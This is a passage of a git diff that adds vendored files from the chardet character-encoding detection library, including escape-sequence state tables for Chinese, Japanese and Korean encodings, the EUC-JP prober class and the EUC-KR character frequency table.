4,MachineState.ITS_ME,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 28-2f +) + +HZ_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0) + +HZ_SM_MODEL = {'class_table': HZ_CLS, + 'class_factor': 6, + 'state_table': HZ_ST, + 'char_len_table': HZ_CHAR_LEN_TABLE, + 'name': "HZ-GB-2312", + 'language': 'Chinese'} + +ISO2022CN_CLS = ( +2,0,0,0,0,0,0,0, # 00 - 07 +0,0,0,0,0,0,0,0, # 08 - 0f +0,0,0,0,0,0,0,0, # 10 - 17 +0,0,0,1,0,0,0,0, # 18 - 1f +0,0,0,0,0,0,0,0, # 20 - 27 +0,3,0,0,0,0,0,0, # 28 - 2f +0,0,0,0,0,0,0,0, # 30 - 37 +0,0,0,0,0,0,0,0, # 38 - 3f +0,0,0,4,0,0,0,0, # 40 - 47 +0,0,0,0,0,0,0,0, # 48 - 4f +0,0,0,0,0,0,0,0, # 50 - 57 +0,0,0,0,0,0,0,0, # 58 - 5f +0,0,0,0,0,0,0,0, # 60 - 67 +0,0,0,0,0,0,0,0, # 68 - 6f +0,0,0,0,0,0,0,0, # 70 - 77 +0,0,0,0,0,0,0,0, # 78 - 7f +2,2,2,2,2,2,2,2, # 80 - 87 +2,2,2,2,2,2,2,2, # 88 - 8f +2,2,2,2,2,2,2,2, # 90 - 97 +2,2,2,2,2,2,2,2, # 98 - 9f +2,2,2,2,2,2,2,2, # a0 - a7 +2,2,2,2,2,2,2,2, # a8 - af +2,2,2,2,2,2,2,2, # b0 - b7 +2,2,2,2,2,2,2,2, # b8 - bf +2,2,2,2,2,2,2,2, # c0 - c7 +2,2,2,2,2,2,2,2, # c8 - cf +2,2,2,2,2,2,2,2, # d0 - d7 +2,2,2,2,2,2,2,2, # d8 - df +2,2,2,2,2,2,2,2, # e0 - e7 +2,2,2,2,2,2,2,2, # e8 - ef +2,2,2,2,2,2,2,2, # f0 - f7 +2,2,2,2,2,2,2,2, # f8 - ff +) + +ISO2022CN_ST = ( +MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 00-07 +MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 08-0f +MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 10-17 +MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 4,MachineState.ERROR,# 18-1f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 20-27 + 5, 6,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 28-2f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 30-37 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.START,# 38-3f +) + +ISO2022CN_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0, 0, 0, 0) + +ISO2022CN_SM_MODEL = {'class_table': ISO2022CN_CLS, + 'class_factor': 9, + 'state_table': ISO2022CN_ST, + 'char_len_table': ISO2022CN_CHAR_LEN_TABLE, + 'name': "ISO-2022-CN", + 'language': 'Chinese'} + +ISO2022JP_CLS = ( +2,0,0,0,0,0,0,0, # 00 - 07 +0,0,0,0,0,0,2,2, # 08 - 0f +0,0,0,0,0,0,0,0, # 10 - 17 +0,0,0,1,0,0,0,0, # 18 - 1f +0,0,0,0,7,0,0,0, # 20 - 27 +3,0,0,0,0,0,0,0, # 28 - 2f +0,0,0,0,0,0,0,0, # 30 - 37 +0,0,0,0,0,0,0,0, # 38 - 3f +6,0,4,0,8,0,0,0, # 40 - 47 +0,9,5,0,0,0,0,0, # 48 - 4f +0,0,0,0,0,0,0,0, # 50 - 57 +0,0,0,0,0,0,0,0, # 58 - 5f +0,0,0,0,0,0,0,0, # 60 - 67 +0,0,0,0,0,0,0,0, # 68 - 6f +0,0,0,0,0,0,0,0, # 70 - 77 +0,0,0,0,0,0,0,0, # 78 - 7f +2,2,2,2,2,2,2,2, # 80 - 87 +2,2,2,2,2,2,2,2, # 88 - 8f +2,2,2,2,2,2,2,2, # 90 - 97 +2,2,2,2,2,2,2,2, # 98 - 9f +2,2,2,2,2,2,2,2, # a0 - a7 +2,2,2,2,2,2,2,2, # a8 - af +2,2,2,2,2,2,2,2, # b0 - b7 +2,2,2,2,2,2,2,2, # b8 - bf +2,2,2,2,2,2,2,2, # c0 - c7 +2,2,2,2,2,2,2,2, # c8 - cf +2,2,2,2,2,2,2,2, # d0 - d7 +2,2,2,2,2,2,2,2, # d8 - df +2,2,2,2,2,2,2,2, # e0 - e7 +2,2,2,2,2,2,2,2, # e8 - ef +2,2,2,2,2,2,2,2, # f0 - f7 +2,2,2,2,2,2,2,2, # f8 - ff +) + +ISO2022JP_ST = ( +MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 00-07 +MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 08-0f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 10-17 +MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,# 18-1f +MachineState.ERROR, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 4,MachineState.ERROR,MachineState.ERROR,# 20-27 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 6,MachineState.ITS_ME,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,# 28-2f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,# 30-37 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 38-3f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,MachineState.START,MachineState.START,# 40-47 +) + +ISO2022JP_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0) + +ISO2022JP_SM_MODEL = {'class_table': ISO2022JP_CLS, + 'class_factor': 10, + 'state_table': ISO2022JP_ST, + 'char_len_table': ISO2022JP_CHAR_LEN_TABLE, + 'name': "ISO-2022-JP", + 'language': 'Japanese'} + +ISO2022KR_CLS = ( +2,0,0,0,0,0,0,0, # 00 - 07 +0,0,0,0,0,0,0,0, # 08 - 0f +0,0,0,0,0,0,0,0, # 10 - 17 +0,0,0,1,0,0,0,0, # 18 - 1f +0,0,0,0,3,0,0,0, # 20 - 27 +0,4,0,0,0,0,0,0, # 28 - 2f +0,0,0,0,0,0,0,0, # 30 - 37 +0,0,0,0,0,0,0,0, # 38 - 3f +0,0,0,5,0,0,0,0, # 40 - 47 +0,0,0,0,0,0,0,0, # 48 - 4f +0,0,0,0,0,0,0,0, # 50 - 57 +0,0,0,0,0,0,0,0, # 58 - 5f +0,0,0,0,0,0,0,0, # 60 - 67 +0,0,0,0,0,0,0,0, # 68 - 6f +0,0,0,0,0,0,0,0, # 70 - 77 +0,0,0,0,0,0,0,0, # 78 - 7f +2,2,2,2,2,2,2,2, # 80 - 87 +2,2,2,2,2,2,2,2, # 88 - 8f +2,2,2,2,2,2,2,2, # 90 - 97 +2,2,2,2,2,2,2,2, # 98 - 9f +2,2,2,2,2,2,2,2, # a0 - a7 +2,2,2,2,2,2,2,2, # a8 - af +2,2,2,2,2,2,2,2, # b0 - b7 +2,2,2,2,2,2,2,2, # b8 - bf +2,2,2,2,2,2,2,2, # c0 - c7 +2,2,2,2,2,2,2,2, # c8 - cf +2,2,2,2,2,2,2,2, # d0 - d7 +2,2,2,2,2,2,2,2, # d8 - df +2,2,2,2,2,2,2,2, # e0 - e7 +2,2,2,2,2,2,2,2, # e8 - ef +2,2,2,2,2,2,2,2, # f0 - f7 +2,2,2,2,2,2,2,2, # f8 - ff +) + +ISO2022KR_ST = ( +MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,# 00-07 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,# 08-0f +MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 4,MachineState.ERROR,MachineState.ERROR,# 10-17 +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,# 18-1f +MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.START,MachineState.START,MachineState.START,MachineState.START,# 20-27 +) + +ISO2022KR_CHAR_LEN_TABLE = (0, 0, 0, 0, 0, 0) + +ISO2022KR_SM_MODEL = {'class_table': ISO2022KR_CLS, + 'class_factor': 6, + 'state_table': ISO2022KR_ST, + 'char_len_table': ISO2022KR_CHAR_LEN_TABLE, + 'name': "ISO-2022-KR", + 'language': 'Korean'} + + diff --git a/src/thirdparty/chardet/eucjpprober.py b/src/thirdparty/chardet/eucjpprober.py new file mode 100644 index 0000000000..20ce8f7d15 --- /dev/null +++ b/src/thirdparty/chardet/eucjpprober.py @@ -0,0 +1,92 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .enums import ProbingState, MachineState +from .mbcharsetprober import MultiByteCharSetProber +from .codingstatemachine import CodingStateMachine +from .chardistribution import EUCJPDistributionAnalysis +from .jpcntx import EUCJPContextAnalysis +from .mbcssm import EUCJP_SM_MODEL + + +class EUCJPProber(MultiByteCharSetProber): + def __init__(self): + super(EUCJPProber, self).__init__() + self.coding_sm = CodingStateMachine(EUCJP_SM_MODEL) + self.distribution_analyzer = EUCJPDistributionAnalysis() + self.context_analyzer = EUCJPContextAnalysis() + self.reset() + + def reset(self): + super(EUCJPProber, self).reset() + self.context_analyzer.reset() + + @property + def charset_name(self): + return "EUC-JP" + + @property + def language(self): + return "Japanese" + + def feed(self, byte_str): + for i in range(len(byte_str)): + # PY3K: byte_str is a byte array, so byte_str[i] is an int, not a byte + coding_state = self.coding_sm.next_state(byte_str[i]) + if coding_state == MachineState.ERROR: + self.logger.debug('%s %s prober hit error at byte %s', + self.charset_name, self.language, i) + self._state = ProbingState.NOT_ME + break + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT + break + elif coding_state == MachineState.START: + char_len = self.coding_sm.get_current_charlen() + if i == 0: + self._last_char[1] = byte_str[0] + self.context_analyzer.feed(self._last_char, char_len) + self.distribution_analyzer.feed(self._last_char, char_len) + else: + self.context_analyzer.feed(byte_str[i - 1:i + 1], + char_len) + self.distribution_analyzer.feed(byte_str[i - 1:i + 1], + char_len) + + self._last_char[0] = byte_str[-1] + + if self.state == ProbingState.DETECTING: + if (self.context_analyzer.got_enough_data() and + (self.get_confidence() > self.SHORTCUT_THRESHOLD)): + self._state = ProbingState.FOUND_IT + + return self.state + + def get_confidence(self): + context_conf = self.context_analyzer.get_confidence() + distrib_conf = self.distribution_analyzer.get_confidence() + return max(context_conf, distrib_conf) diff --git a/src/thirdparty/chardet/euckrfreq.py b/src/thirdparty/chardet/euckrfreq.py new file mode 100644 index 0000000000..b68078cb96 --- /dev/null +++ b/src/thirdparty/chardet/euckrfreq.py @@ -0,0 +1,195 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# Sampling from about 20M text materials include literature and computer technology + +# 128 --> 0.79 +# 256 --> 0.92 +# 512 --> 0.986 +# 1024 --> 0.99944 +# 2048 --> 0.99999 +# +# Idea Distribution Ratio = 0.98653 / (1-0.98653) = 73.24 +# Random Distribution Ration = 512 / (2350-512) = 0.279. +# +# Typical Distribution Ratio + +EUCKR_TYPICAL_DISTRIBUTION_RATIO = 6.0 + +EUCKR_TABLE_SIZE = 2352 + +# Char to FreqOrder table , +EUCKR_CHAR_TO_FREQ_ORDER = ( + 13, 130, 120,1396, 481,1719,1720, 328, 609, 212,1721, 707, 400, 299,1722, 87, +1397,1723, 104, 536,1117,1203,1724,1267, 685,1268, 508,1725,1726,1727,1728,1398, +1399,1729,1730,1731, 141, 621, 326,1057, 368,1732, 267, 488, 20,1733,1269,1734, + 945,1400,1735, 47, 904,1270,1736,1737, 773, 248,1738, 409, 313, 786, 429,1739, + 116, 987, 813,1401, 683, 75,1204, 145,1740,1741,1742,1743, 16, 847, 667, 622, + 708,1744,1745,1746, 966, 787, 304, 129,1747, 60, 820, 123, 676,1748,1749,1750, +1751, 617,1752, 626,1753,1754,1755,1756, 653,1757,1758,1759,1760,1761,1762, 856, + 344,1763,1764,1765,1766, 89, 401, 418, 806, 905, 848,1767,1768,1769, 946,1205, + 709,1770,1118,1771, 241,1772,1773,1774,1271,1775, 569,1776, 999,1777,1778,1779, +1780, 337, 751,1058, 28, 628, 254,1781, 177, 906, 270, 349, 891,1079,1782, 19, +1783, 379,1784, 315,1785, 629, 754,1402, 559,1786, 636, 203,1206,1787, 710, 567, +1788, 935, 814,1789,1790,1207, 766, 528,1791,1792,1208,1793,1794,1795,1796,1797, +1403,1798,1799, 533,1059,1404,1405,1156,1406, 936, 884,1080,1800, 351,1801,1802, +1803,1804,1805, 801,1806,1807,1808,1119,1809,1157, 714, 474,1407,1810, 298, 899, + 885,1811,1120, 802,1158,1812, 892,1813,1814,1408, 659,1815,1816,1121,1817,1818, +1819,1820,1821,1822, 319,1823, 594, 545,1824, 815, 937,1209,1825,1826, 573,1409, +1022,1827,1210,1828,1829,1830,1831,1832,1833, 556, 722, 807,1122,1060,1834, 697, +1835, 900, 557, 715,1836,1410, 540,1411, 752,1159, 294, 597,1211, 976, 803, 770, +1412,1837,1838, 39, 794,1413, 358,1839, 371, 925,1840, 453, 661, 788, 531, 723, + 544,1023,1081, 869, 91,1841, 392, 430, 790, 602,1414, 677,1082, 457,1415,1416, +1842,1843, 475, 327,1024,1417, 795, 121,1844, 733, 403,1418,1845,1846,1847, 300, + 119, 711,1212, 627,1848,1272, 207,1849,1850, 796,1213, 382,1851, 519,1852,1083, + 893,1853,1854,1855, 367, 809, 487, 671,1856, 663,1857,1858, 956, 471, 306, 857, +1859,1860,1160,1084,1861,1862,1863,1864,1865,1061,1866,1867,1868,1869,1870,1871, + 282, 96, 574,1872, 502,1085,1873,1214,1874, 907,1875,1876, 827, 977,1419,1420, +1421, 268,1877,1422,1878,1879,1880, 308,1881, 2, 537,1882,1883,1215,1884,1885, + 127, 791,1886,1273,1423,1887, 34, 336, 404, 643,1888, 571, 654, 894, 840,1889, + 0, 886,1274, 122, 575, 260, 908, 938,1890,1275, 410, 316,1891,1892, 100,1893, +1894,1123, 48,1161,1124,1025,1895, 633, 901,1276,1896,1897, 115, 816,1898, 317, +1899, 694,1900, 909, 734,1424, 572, 866,1425, 691, 85, 524,1010, 543, 394, 841, +1901,1902,1903,1026,1904,1905,1906,1907,1908,1909, 30, 451, 651, 988, 310,1910, +1911,1426, 810,1216, 93,1912,1913,1277,1217,1914, 858, 759, 45, 58, 181, 610, + 269,1915,1916, 131,1062, 551, 443,1000, 821,1427, 957, 895,1086,1917,1918, 375, +1919, 359,1920, 687,1921, 822,1922, 293,1923,1924, 40, 662, 118, 692, 29, 939, + 887, 640, 482, 174,1925, 69,1162, 728,1428, 910,1926,1278,1218,1279, 386, 870, + 217, 854,1163, 823,1927,1928,1929,1930, 834,1931, 78,1932, 859,1933,1063,1934, +1935,1936,1937, 438,1164, 208, 595,1938,1939,1940,1941,1219,1125,1942, 280, 888, +1429,1430,1220,1431,1943,1944,1945,1946,1947,1280, 150, 510,1432,1948,1949,1950, +1951,1952,1953,1954,1011,1087,1955,1433,1043,1956, 881,1957, 614, 958,1064,1065, +1221,1958, 638,1001, 860, 967, 896,1434, 989, 492, 553,1281,1165,1959,1282,1002, +1283,1222,1960,1961,1962,1963, 36, 383, 228, 753, 247, 454,1964, 876, 678,1965, +1966,1284, 126, 464, 490, 835, 136, 672, 529, 940,1088,1435, 473,1967,1968, 467, + 50, 390, 227, 587, 279, 378, 598, 792, 968, 240, 151, 160, 849, 882,1126,1285, + 639,1044, 133, 140, 288, 360, 811, 563,1027, 561, 142, 523,1969,1970,1971, 7, + 103, 296, 439, 407, 506, 634, 990,1972,1973,1974,1975, 645,1976,1977,1978,1979, +1980,1981, 236,1982,1436,1983,1984,1089, 192, 828, 618, 518,1166, 333,1127,1985, + 818,1223,1986,1987,1988,1989,1990,1991,1992,1993, 342,1128,1286, 746, 842,1994, +1995, 560, 223,1287, 98, 8, 189, 650, 978,1288,1996,1437,1997, 17, 345, 250, + 423, 277, 234, 512, 226, 97, 289, 42, 167,1998, 201,1999,2000, 843, 836, 824, + 532, 338, 783,1090, 182, 576, 436,1438,1439, 527, 500,2001, 947, 889,2002,2003, +2004,2005, 262, 600, 314, 447,2006, 547,2007, 693, 738,1129,2008, 71,1440, 745, + 619, 688,2009, 829,2010,2011, 147,2012, 33, 948,2013,2014, 74, 224,2015, 61, + 191, 918, 399, 637,2016,1028,1130, 257, 902,2017,2018,2019,2020,2021,2022,2023, +2024,2025,2026, 837,2027,2028,2029,2030, 179, 874, 591, 52, 724, 246,2031,2032, +2033,2034,1167, 969,2035,1289, 630, 605, 911,1091,1168,2036,2037,2038,1441, 912, +2039, 623,2040,2041, 253,1169,1290,2042,1442, 146, 620, 611, 577, 433,2043,1224, + 719,1170, 959, 440, 437, 534, 84, 388, 480,1131, 159, 220, 198, 679,2044,1012, + 819,1066,1443, 113,1225, 194, 318,1003,1029,2045,2046,2047,2048,1067,2049,2050, +2051,2052,2053, 59, 913, 112,2054, 632,2055, 455, 144, 739,1291,2056, 273, 681, + 499,2057, 448,2058,2059, 760,2060,2061, 970, 384, 169, 245,1132,2062,2063, 414, +1444,2064,2065, 41, 235,2066, 157, 252, 877, 568, 919, 789, 580,2067, 725,2068, +2069,1292,2070,2071,1445,2072,1446,2073,2074, 55, 588, 66,1447, 271,1092,2075, +1226,2076, 960,1013, 372,2077,2078,2079,2080,2081,1293,2082,2083,2084,2085, 850, +2086,2087,2088,2089,2090, 186,2091,1068, 180,2092,2093,2094, 109,1227, 522, 606, +2095, 867,1448,1093, 991,1171, 926, 353,1133,2096, 581,2097,2098,2099,1294,1449, +1450,2100, 596,1172,1014,1228,2101,1451,1295,1173,1229,2102,2103,1296,1134,1452, + 949,1135,2104,2105,1094,1453,1454,1455,2106,1095,2107,2108,2109,2110,2111,2112, +2113,2114,2115,2116,2117, 804,2118,2119,1230,1231, 805,1456, 405,1136,2120,2121, +2122,2123,2124, 720, 701,1297, 992,1457, 927,1004,2125,2126,2127,2128,2129,2130, + 22, 417,2131, 303,2132, 385,2133, 971, 520, 513,2134,1174, 73,1096, 231, 274, + 962,1458, 673,2135,1459,2136, 152,1137,2137,2138,2139,2140,1005,1138,1460,1139, +2141,2142,2143,2144, 11, 374, 844,2145, 154,1232, 46,1461,2146, 838, 830, 721, +1233, 106,2147, 90, 428, 462, 578, 566,1175, 352,2148,2149, 538,1234, 124,1298, +2150,1462, 761, 565,2151, 686,2152, 649,2153, 72, 173,2154, 460, 415,2155,1463, +2156,1235, 305,2157,2158,2159,2160,2161,2162, 579,2163,2164,2165,2166,2167, 747, +2168,2169,2170,2171,1464, 669,2172,2173,2174,2175,2176,1465,2177, 23, 530, 285, +2178, 335, 729,2179, 397,2180,2181,2182,1030,2183,2184, 698,2185,2186, 325,2187, +2188, 369,2189, 799,1097,1015, 348,2190,1069, 680,2191, 851,1466,2192,2193, 10, +2194, 613, 424,2195, 979, 108, 449, 589, 27, 172, 81,1031, 80, 774, 281, 350, +1032, 525, 301, 582,1176,2196, 674,1045,2197,2198,1467, 730, 762,2199,2200,2201, +2202,1468,2203, 993,2204,2205, 266,1070, 963,1140,2206,2207,2208, 664,1098, 972, +2209,2210,2211,1177,1469,1470, 871,2212,2213,2214,2215,2216,1471,2217,2218,2219, +2220,2221,2222,2223,2224,2225,2226,2227,1472,1236,2228,2229,2230,2231,2232,2233, +2234,2235,1299,2236,2237, 200,2238, 477, 373,2239,2240, 731, 825, 777,2241,2242, +2243, 521, 486, 548,2244,2245,2246,1473,1300, 53, 549, 137, 875, 76, 158,2247, +1301,1474, 469, 396,1016, 278, 712,2248, 321, 442, 503, 767, 744, 941,1237,1178, +1475,2249, 82, 178,1141,1179, 973,2250,1302,2251, 297,2252,2253, 570,2254,2255, +2256, 18, 450, 206,2257, 290, 292,1142,2258, 511, 162, 99, 346, 164, 735,2259, +1476,1477, 4, 554, 343, 798,1099,2260,1100,2261, 43, 171,1303, 139, 215,2262, +2263, 717, 775,2264,1033, 322, 216,2265, 831,2266, 149,2267,1304,2268,2269, 702, +1238, 135, 845, 347, 309,2270, 484,2271, 878, 655, 238,1006,1478,2272, 67,2273, + 295,2274,2275, 461,2276, 478, 942, 412,2277,1034,2278,2279,2280, 265,2281, 541, +2282,2283,2284,2285,2286, 70, 852,1071,2287,2288,2289,2290, 21, 56, 509, 117, + 432,2291,2292, 331, 980, 552,1101, 148, 284, 105, 393,1180,1239, 755,2293, 187, +2294,1046,1479,2295, 340,2296, 63,1047, 230,2297,2298,1305, 763,1306, 101, 800, + 808, 494,2299,2300,2301, 903,2302, 37,1072, 14, 5,2303, 79, 675,2304, 312, +2305,2306,2307,2308,2309,1480, 6,1307,2310,2311,2312, 1, 470, 35, 24, 229, +2313, 695, 210, 86, 778, 15, 784, 592, 779, 32, 77, 855, 964,2314, 259,2315, + 501, 380,2316,2317, 83, 981, 153, 689,1308,1481,1482,1483,2318,2319, 716,1484, +2320,2321,2322,2323,2324,2325,1485,2326,2327, 128, 57, 68, 261,1048, 211, 170, +1240, 31,2328, 51, 435, 742,2329,2330,2331, 635,2332, 264, 456,2333,2334,2335, + 425,2336,1486, 143, 507, 263, 943,2337, 363, 920,1487, 256,1488,1102, 243, 601, +1489,2338,2339,2340,2341,2342,2343,2344, 861,2345,2346,2347,2348,2349,2350, 395, +2351,1490,1491, 62, 535, 166, 225,2352,2353, 668, 419,1241, 138, 604, 928,2354, +1181,2355,1492,1493,2356,2357,2358,1143,2359, 696,2360, 387, 307,1309, 682, 476, +2361,2362, 332, 12, 222, 156,2363, 232,2364, 641, 276, 656, 517,1494,1495,1035, + 416, 736,1496,2365,1017, 586,2366,2367,2368,1497,2369, 242,2370,2371,2372,1498, +2373, 965, 713,2374,2375,2376,2377, 740, 982,1499, 944,1500,1007,2378,2379,1310, +1501,2380,2381,2382, 785, 329,2383,2384,1502,2385,2386,2387, 932,2388,1503,2389, +2390,2391,2392,1242,2393,2394,2395,2396,2397, 994, 950,2398,2399,2400,2401,1504, +1311,2402,2403,2404,2405,1049, 749,2406,2407, 853, 718,1144,1312,2408,1182,1505, +2409,2410, 255, 516, 479, 564, 550, 214,1506,1507,1313, 413, 239, 444, 339,1145, +1036,1508,1509,1314,1037,1510,1315,2411,1511,2412,2413,2414, 176, 703, 497, 624, + 593, 921, 302,2415, 341, 165,1103,1512,2416,1513,2417,2418,2419, 376,2420, 700, +2421,2422,2423, 258, 768,1316,2424,1183,2425, 995, 608,2426,2427,2428,2429, 221, +2430,2431,2432,2433,2434,2435,2436,2437, 195, 323, 726, 188, 897, 983,1317, 377, + 644,1050, 879,2438, 452,2439,2440,2441,2442,2443,2444, 914,2445,2446,2447,2448, + 915, 489,2449,1514,1184,2450,2451, 515, 64, 427, 495,2452, 583,2453, 483, 485, +1038, 562, 213,1515, 748, 666,2454,2455,2456,2457, 334,2458, 780, 996,1008, 705, +1243,2459,2460,2461,2462,2463, 114,2464, 493,1146, 366, 163,1516, 961,1104,2465, + 291,2466,1318,1105,2467,1517, 365,2468, 355, 951,1244,2469,1319,2470, 631,2471, +2472, 218,1320, 364, 320, 756,1518,1519,1321,1520,1322,2473,2474,2475,2476, 997, +2477,2478,2479,2480, 665,1185,2481, 916,1521,2482,2483,2484, 584, 684,2485,2486, + 797,2487,1051,1186,2488,2489,2490,1522,2491,2492, 370,2493,1039,1187, 65,2494, + 434, 205, 463,1188,2495, 125, 812, 391, 402, 826, 699, 286, 398, 155, 781, 771, + 585,2496, 590, 505,1073,2497, 599, 244, 219, 917,1018, 952, 646,1523,2498,1323, +2499,2500, 49, 984, 354, 741,2501, 625,2502,1324,2503,1019, 190, 357, 757, 491, + 95, 782, 868,2504,2505,2506,2507,2508,2509, 134,1524,1074, 422,1525, 898,2510, + 161,2511,2512,2513,2514, 769,2515,1526,2516,2517, 411,1325,2518, 472,1527,2519, +2520,2521,2522,2523,2524, 985,2525,2526,2527,2528,2529,2530, 764,2531,1245,2532, +2533, 25, 204, 311,2534, 496,2535,1052,2536,2537,2538,2539,2540,2541,2542, 199, + 704, 504, 468, 758, 657,1528, 196, 44, 839,1246, 272, 750,2543, 765, 862,2544, +2545,1326,2546, 132, 615, 933,2547, 732,2548,2549,2550,1189,1529,2551, 283,1247, +1053, 607, 929,2552,2553,2554, 930, 183, 872, 616,1040,1147,2555,1148,1020, 441, + 249,1075,2556,2557,2558, 466, 743,2559,2560,2561, 92, 514, 426, 420, 526,2562, +2563,2564,2565,2566,2567,2568, 185,2569,2570,2571,2572, 776,1530, 658,2573, 362, +2574, 361, 922,1076, 793,2575,2576,2577,2578,2579,2580,1531, 251,2581,2582,2583, +2584,1532, 54, 612, 237,1327,2585,2586, 275, 408, 647, 111,2587,1533,1106, 465, + 3, 458, 9, 38,2588, 107, 110, 890, 209, 26, 737, 498,2589,1534,2590, 431, + 202, 88,1535, 356, 287,1107, 660,1149,2591, 381,1536, 986,1150, 445,1248,1151, + 974,2592,2593, 846,2594, 446, 953, 184,1249,1250, 727,2595, 923, 193, 883,2596, +2597,2598, 102, 324, 539, 817,2599, 421,1041,2600, 832,2601, 94, 175, 197, 406, +2602, 459,2603,2604,2605,2606,2607, 330, 555,2608,2609,2610, 706,1108, 389,2611, +2612,2613,2614, 233,2615, 833, 558, 931, 954,1251,2616,2617,1537, 546,2618,2619, +1009,2620,2621,2622,1538, 690,1328,2623, 955,2624,1539,2625,2626, 772,2627,2628, +2629,2630,2631, 924, 648, 863, 603,2632,2633, 934,1540, 864, 865,2634, 642,1042, + 670,1190,2635,2636,2637,2638, 168,2639, 652, 873, 542,1054,1541,2640,2641,2642, # 512, 256 +) + diff --git a/src/thirdparty/chardet/euckrprober.py b/src/thirdparty/chardet/euckrprober.py new file mode 100644 index 0000000000..345a060d02 --- /dev/null +++ b/src/thirdparty/chardet/euckrprober.py @@ -0,0 +1,47 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# 